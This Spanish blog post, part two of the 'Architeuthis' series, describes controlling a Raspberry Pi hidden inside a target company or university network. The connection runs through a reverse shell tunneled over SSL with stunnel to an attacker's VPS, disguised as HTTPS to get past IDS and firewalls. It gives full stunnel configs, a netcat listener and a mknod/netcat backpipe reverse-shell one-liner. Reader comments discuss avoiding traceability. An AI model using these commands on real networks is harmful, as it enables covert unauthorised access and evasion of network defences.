lunes, 1 de septiembre de 2014

Architeuthis [II]: tunneling a reverse shell over SSL

¡Saludos!

  Después de haber trasteado la parte "física" del proyecto, dejando la raspberry pi oculta, debemos de empezar a perfilar el resto.

    Una vez que hayamos conectado a la corriente Architeuthis en una red de una empresa / universidad / whatever necesitamos poder controlarla desde el exterior -si no qué lógica tendría-. El problema está en que muy probablemente esta red disponga de diferentes medidas para dificultar conexiones "ajenas". IDS's, firewalls, etc.

   Por ello creo que la mejor forma de mantener el control es a través de una conexión inversa que conecte Architeuthis con un VPS nuestro, y nosotros desde cualquier red conectarnos a ese VPS vía SSH.


        Red Objetivo
                                       |
[Architeuthis]-----------|------------> [VPS]<-------------------[Nosotros]


     Y no solo eso, sino que la conexión Architeuthis-VPS se realice a través de un túnel SSL. Si parece HTTPS, huele como HTTPS, quizás piensen que es HTTPS. Probablemente haya mejores formas de camuflar el tráfico, si  conoceis alguna por favor publicadla en los comentarios para echarle un ojo.

  El tunel lo vamos a establecer usando Stunnel, quedando de forma esquemática algo similar a:


    (localhost)   PUERTO                               PUERTO   (localhost)
_____________>2200                                       777<________
|    Architeuthis                                                             VPS         |
|____________>445 <--------(SSL)------------>445<_________|


    Enviamos la shell hacia el puerto 2200 en localhost; stunnel se encarga de coger el tráfico, encapsularlo, y enviarlo hacia el VPS. Allí stunnel se encarga de pasarselo descifrado al puerto local 777;  y viceversa. Para manejar la shell tendremos netcat a la escucha.


  En este capítulo nos limitaremos a instalar stunnel, configurarlo y hacer pruebas. Más adelante configuraremos un script para que haga todas las tareas y se conecte automáticamente al encenderse la raspberry pi.


En la raspberry pi: 


sudo apt-get install stunnel4
openssl genrsa 1024 > stunnel.key
openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt
cat stunnel.crt stunnel.key > stunnel.pem

sudo mv stunnel.pem /etc/stunnel/

  De esta forma instalamos stunnel y generamos un certificado. Este certificado deberemos de usarlo también en el VPS, asi que sacamos una copia y los subimos. Hacemos un "cat /etc/stunnel/stunnel.pem" para ver si todo esta OK. Si es así, procedemos a crear un archivo de configuración llamado stunnel.conf y lo guardamos en /etc/stunnel/. El contenido de este archivo:

pid = /var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem
[Remote Shell]
accept = 127.0.0.1:2200
connect = VPS_IP:443
client = yes

Sustituir VPS_IP con la IP del VPS (captain obvio al rescate). Levantamos el servicio:

sudo service stunnel4 start

En el VPS:

          Instalamos stunnel con apt-get y colocamos en /etc/stunnel/ el archivo stunnel.pem que habíamos generado previamente. Creamos un archivo stunnel.conf en /etc/stunnel/ con lo siguiente:

pid = /var/run/stunnel.pid
cert = /etc/stunnel/stunnel.pem
[Reverse Shell]
accept = VPS_ip:443
connect = 127.0.0.1:777

  Y levantamos el servicio (sudo service stunnel4 start).



Si todo ha ido bien podremos probar si el tunel está establecido. En el VPS dejamos netcat a la escucha del puerto 777:

nc -vlp 777 

Y desde la raspberry pi hacemos un:
 nc -nv 127.0.0.1 2200

Si todo va OK, al escribir en la raspberry pi debereíamos de ver lo mismo en el VPS. Si quereis manejarla ya desde aquí, podeis sacar una shell usando:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 127.0.0.1 2200 1>/tmp/backpipe
Byt3z!

5 0verl0ad Labs: Architeuthis [II]: tunneling a reverse shell over SSL ¡Saludos!   Después de haber trasteado la parte "física" del proyecto, dejando la raspberry pi oculta, debemos de empezar a per...

4 comentarios:

Neomind dijo...

La proxima vez el Ascii art en jpg o paint! :P jejeje

The X-C3LL dijo...

Sí, me he dado cuenta de que dependiendo de la resolución se mueve para un lado u otro x'D. Lo tendré en cuenta.

Anónimo dijo...

Siguiendo al VPS, su ip, darán con quien sea.

O se coge un VPN de la red oscura, arriesgando mucho más que la privacidad o siempre que haya una ip pública habrá identidad, salvo casos como ryseup que no tiene ssh.

The X-C3LL dijo...

"Un VPN de la red oscura" me suena bastante esotérico.

Si quiere evitar la trazabilidad, los métodos son los mismos que cuando se desea realizar cualquier otra práctica de dudosa ética.

< >